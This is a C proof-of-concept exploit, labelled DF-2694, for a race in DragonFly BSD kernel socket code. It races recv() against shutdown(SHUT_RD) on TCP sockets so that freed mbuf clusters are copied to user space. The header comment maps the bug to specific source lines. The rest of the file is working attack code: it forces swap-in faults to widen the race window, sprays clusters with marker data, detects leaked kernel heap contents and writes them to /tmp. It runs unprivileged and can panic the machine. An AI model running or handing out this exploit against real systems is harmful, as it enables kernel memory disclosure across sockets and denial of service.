DF-2694 / poc_race.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 | /* * DF-2694 PoC: sorflush() vs sorecvtcp() unlocked-copy race * ========================================================= * * sys/kern/uipc_socket.c: * sorecvtcp() marks receive mbufs M_SOLOCKED (uipc_socket.c:1746-1753), * then RELEASES the receive token (uipc_socket.c:1758) and runs its * uiomove copy loop with no token (1778-1822). * * soshutdown(SHUT_RD) deliberately does NOT take ssb_lock * (uipc_socket.c:1953-1957) and calls sorflush() which takes only the * token, snapshots the sockbuf and frees ALL mbufs via * ssb_release()->sbflush()->sbdrop()->m_freem() (uipc_socket.c:1988, * uipc_socket2.c:754-760, uipc_sockbuf.c:451-508). m_free() does not * check M_SOLOCKED (sys/kern/uipc_mbuf.c) - it clears the flag and * returns the mbuf+cluster to the objcache. * * Consequences, racing recv() against shutdown(fd, SHUT_RD) on a TCP * socket: * - uiomove() reads freed (and possibly reallocated) clusters * -> cross-socket kernel heap data disclosure into the recv buffer * - post-loop sync block finds ssb_mb == NULL with offset != 0 * -> KKASSERT(m) panic (INVARIANTS) / NULL-deref (non-INVARIANTS) * (uipc_socket.c:1851-1852, 1858) * * This program: * - builds a loopback TCP pair, queues hundreds of KB of 'A' data * - recv()s into a file-backed MAP_PRIVATE region whose pages are * deliberately non-resident (each fault stretches the unlocked copy * window) * - busy-waits a swept number of microseconds (usleep quantizes to * 10ms ticks at hz=100) then shutdown(SHUT_RD) * - a "sprayer" churns 'P'-filled clusters on other sockets so freed * clusters get reused with recognizable foreign data * - scans the receive buffer for 'P' markers (leak proof) and reports * per-round anomalies (line-buffered stdout) * * Unprivileged. Panic (if it hits) lands on the serial console. */ #include <sys/types.h> #include <sys/socket.h> #include <sys/mman.h> #include <sys/stat.h> #include <netinet/in.h> #include <arpa/inet.h> #include <pthread.h> #include <unistd.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <signal.h> #include <fcntl.h> #include <time.h> static int verbose = 1; static double now_us(void) { struct timespec ts; clock_gettime(CLOCK_MONOTONIC, &ts); return ((double)ts.tv_sec * 1e6 + (double)ts.tv_nsec / 1e3); } static void busy_us(int us) { double t0 = now_us(); while (now_us() - t0 < (double)us) /* spin */; } static int tcp_pair(int *client, int *server, int rcvbuf) { struct sockaddr_in a; socklen_t al = sizeof(a); int l = socket(AF_INET, SOCK_STREAM, 0); int c, s; memset(&a, 0, sizeof(a)); a.sin_family = AF_INET; a.sin_addr.s_addr = htonl(INADDR_LOOPBACK); if (bind(l, (struct sockaddr *)&a, sizeof(a)) < 0) return -1; if (listen(l, 1) < 0) return -1; if (getsockname(l, (struct sockaddr *)&a, &al) < 0) return -1; c = socket(AF_INET, SOCK_STREAM, 0); if (connect(c, (struct sockaddr *)&a, sizeof(a)) < 0) return -1; s = accept(l, NULL, NULL); close(l); if (s < 0) return -1; if (rcvbuf) setsockopt(c, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof(rcvbuf)); *client = c; *server = s; return 0; } struct warg { int fd; long total; volatile int stop; }; static void * writer(void *v) { struct warg *w = v; char *b = malloc(65536); long sent = 0; memset(b, 'A', 65536); while (!w->stop && sent < w->total) { ssize_t n = write(w->fd, b, 65536); if (n <= 0) break; sent += n; } free(b); return NULL; } static int sprayfd[2]; static volatile int spray_stop; static pthread_t spray_thr[8]; static void * sprayer(void *v __unused) { char *p = malloc(16384); char drain[65536]; memset(p, 'P', 16384); while (!spray_stop) { if (write(sprayfd[0], p, 16384) <= 0) break; read(sprayfd[1], drain, sizeof(drain)); } free(p); return NULL; } struct rarg { int fd; void *buf; size_t len; ssize_t n; double t_copy; /* measured copy duration (us) */ volatile int go; }; static void * reader(void *v) { struct rarg *r = v; double t0; while (!r->go) /* spin: reader is already on-CPU when released */; t0 = now_us(); r->n = recv(r->fd, r->buf, r->len, 0); r->t_copy = now_us() - t0; return NULL; } static long count_byte(const char *b, size_t n, char c) { long x = 0; size_t i; for (i = 0; i < n; i++) if (b[i] == c) x++; return x; } static int find_marker(const char *b, size_t n, char c, int minrun) { int run = 0; size_t i; for (i = 0; i < n; i++) { if (b[i] == c) { if (++run >= minrun) return 1; } else { run = 0; } } return 0; } int main(int argc, char **argv) { int rounds = (argc > 1) ? atoi(argv[1]) : 24; int dstart = (argc > 2) ? atoi(argv[2]) : 20000; /* start delay us */ int dstep = (argc > 3) ? atoi(argv[3]) : 5000; /* step us */ int mode = (argc > 4) ? atoi(argv[4]) : 0; /* 0=tcp 1=unix */ const size_t RLEN = 512 * 1024; int r, leaks = 0; char padpath[64]; int padfd; void *rbuf; void *pool; size_t poolsz; const size_t PIG = (size_t)3400 << 20; setvbuf(stdout, NULL, _IOLBF, 0); setvbuf(stderr, NULL, _IONBF, 0); signal(SIGPIPE, SIG_IGN); printf("DF-2694 race: rounds=%d delay=%d+%dus recvlen=%zu mode=%s\n", rounds, dstart, dstep, RLEN, mode ? "unix-leak" : "tcp-panic"); if (rounds < 1) rounds = 1; /* * Prepare a pool of rounds+1 receive windows, dirty them, then * force everything out to swap with one big memory hog pass. * Every recv() into a fresh window then takes a sleeping * (swap-in) fault per page: while a DFly thread is blocked in * tsleep it releases its lwkt tokens (lwkt_switch -> * lwkt_relalltokens), which is exactly what opens the * sorecvtcp() copy loop to a concurrent sorflush(). */ poolsz = RLEN * (size_t)(rounds + 1); pool = mmap(NULL, poolsz, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0); if (pool == MAP_FAILED) { perror("pool mmap"); return 1; } memset(pool, 0x55, poolsz); printf("dirtying pig (%zu MB)...\n", PIG >> 20); { char *pig = mmap(NULL, PIG, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0); if (pig == MAP_FAILED) perror("pig mmap"); else { memset(pig, 1, PIG); munmap(pig, PIG); } } printf("pool swapped out; starting rounds\n"); snprintf(padpath, sizeof(padpath), "/tmp/df2694pad.%d", getpid()); padfd = open(padpath, O_RDWR | O_CREAT | O_TRUNC, 0600); if (padfd < 0) { perror("open pad"); return 1; } ftruncate(padfd, (off_t)RLEN); if (socketpair(AF_UNIX, SOCK_STREAM, 0, sprayfd) < 0) { perror("socketpair"); return 1; } for (r = 0; r < 8; r++) pthread_create(&spray_thr[r], NULL, sprayer, NULL); for (r = 0; r < rounds; r++) { int cfd, sfd, delay = dstart + r * dstep; struct warg w; pthread_t wt, rt; struct rarg ra; ssize_t n; if (mode == 0) { if (tcp_pair(&cfd, &sfd, 256 * 1024) < 0) { perror("tcp_pair"); break; } } else { int sv[2]; if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) < 0) { perror("socketpair"); break; } cfd = sv[0]; sfd = sv[1]; } w.fd = sfd; w.total = 8 * 1024 * 1024; w.stop = 0; pthread_create(&wt, NULL, writer, &w); usleep(15000); /* let data queue up in so_rcv */ rbuf = (char *)pool + RLEN * (size_t)r; /* pre-swapped */ ra.fd = cfd; ra.buf = rbuf; ra.len = RLEN; ra.n = -1; ra.t_copy = 0; fprintf(stderr, "r%d: reader-go\n", r); pthread_create(&rt, NULL, reader, &ra); busy_us(delay); fprintf(stderr, "r%d: shutdown\n", r); shutdown(cfd, SHUT_RD); pthread_join(rt, NULL); fprintf(stderr, "r%d: reader-joined n=%zd copy=%.0fus\n", r, ra.n, ra.t_copy); w.stop = 1; /* * The victim no longer drains anything after shutdown(RD); * shut the peer's send side so a blocked writer unblocks * (EPIPE) instead of deadlocking our join. */ shutdown(sfd, SHUT_WR); pthread_join(wt, NULL); fprintf(stderr, "r%d: writer-joined\n", r); n = ra.n; if (verbose > 1) printf("round %d delay=%dus recv=%zd copy=%.0fus\n", r, delay, n, ra.t_copy); if (n > 0) { long pa = count_byte(rbuf, n, 'A'); long pp = count_byte(rbuf, n, 'P'); int mk = find_marker(rbuf, n, 'P', 64); if (mk || (verbose && pp > 0)) { printf("round %d delay=%dus recv=%zd A=%ld " "P=%ld MARKER=%d %s\n", r, delay, n, pa, pp, mk, mk ? "*** LEAK ***" : ""); if (mk) { leaks++; char fn[64]; snprintf(fn, sizeof(fn), "/tmp/df2694_leak.%d.bin", r); FILE *f = fopen(fn, "w"); if (f) { fwrite(rbuf, 1, n, f); fclose(f); } } } if ((pa + pp) < (long)n / 2) { printf("round %d delay=%dus recv=%zd " "UNEXPECTED-CONTENT A=%ld P=%ld " "other=%zd copy=%.0fus\n", r, delay, n, pa, pp, n - pa - pp, ra.t_copy); } } else if (verbose > 1) { printf("round %d delay=%dus recv=%zd errno=%d " "copy=%.0fus\n", r, delay, n, errno, ra.t_copy); } else if (n < 0) { printf("round %d delay=%dus recv-ERR errno=%d " "copy=%.0fus\n", r, delay, errno, ra.t_copy); } close(cfd); close(sfd); } spray_stop = 1; /* unblock any sprayer sitting in read() */ shutdown(sprayfd[0], SHUT_RDWR); shutdown(sprayfd[1], SHUT_RDWR); for (r = 0; r < 8; r++) pthread_join(spray_thr[r], NULL); unlink(padpath); munmap(pool, poolsz); printf("done: %d rounds, %d marker leaks\n", rounds, leaks); return (leaks != 0); } |